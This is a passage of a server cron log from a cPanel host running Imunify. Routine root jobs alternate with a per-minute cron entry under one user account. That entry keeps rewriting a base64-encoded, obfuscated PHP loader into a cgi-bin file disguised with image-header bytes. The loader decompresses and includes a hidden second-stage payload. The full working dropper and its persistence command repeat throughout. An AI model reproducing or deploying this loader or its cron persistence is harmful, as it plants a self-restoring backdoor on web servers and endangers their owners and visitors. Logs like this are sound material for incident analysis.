Xyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:58:01 server CROND[16227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:58:01 server CROND[16229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:58:01 server CROND[16228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:59:01 server CROND[16602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:59:01 server CROND[16600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:59:01 server CROND[16601]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  7 02:59:01 server CROND[16603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:00:01 server CROND[16990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:00:01 server CROND[16991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:00:01 server CROND[16994]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:00:01 server CROND[16998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:00:01 server CROND[17005]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:00:01 server CROND[17008]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 03:00:01 server CROND[17010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:00:01 server CROND[17006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:00:01 server CROND[17009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:01:01 server CROND[17848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:01:01 server CROND[17849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:01:01 server CROND[17851]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 03:01:01 server CROND[17850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:01:01 server run-parts(/etc/cron.hourly)[17851]: starting 0anacron
Sep  7 03:01:01 server anacron[17873]: Anacron started on 2026-09-07
Sep  7 03:01:01 server anacron[17873]: Job `cron.weekly' locked by another anacron - skipping
Sep  7 03:01:01 server anacron[17873]: Will run job `cron.daily' in 33 min.
Sep  7 03:01:01 server anacron[17873]: Jobs will be executed sequentially
Sep  7 03:01:01 server run-parts(/etc/cron.hourly)[17875]: finished 0anacron
Sep  7 03:02:01 server CROND[18351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:02:01 server CROND[18353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:02:01 server CROND[18352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:03:02 server CROND[18739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:03:02 server CROND[18741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:03:02 server CROND[18742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:04:01 server CROND[19187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:04:01 server CROND[19188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:04:01 server CROND[19189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:05:00 server anacron[6734]: Job `cron.weekly' started
Sep  7 03:05:00 server anacron[6734]: Job `cron.weekly' terminated
Sep  7 03:05:00 server anacron[6734]: Normal exit (1 job run)
Sep  7 03:05:01 server CROND[19578]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:05:01 server CROND[19583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:05:01 server CROND[19594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:05:01 server CROND[19597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:05:01 server CROND[19598]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 03:05:01 server CROND[19595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:05:01 server CROND[19599]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:05:01 server CROND[19596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:06:01 server CROND[20426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:06:01 server CROND[20427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:06:01 server CROND[20428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:07:01 server CROND[20885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:07:01 server CROND[20886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:07:01 server CROND[20887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:08:01 server CROND[21263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:08:01 server CROND[21264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:08:01 server CROND[21265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:09:01 server CROND[21632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:09:01 server CROND[21633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 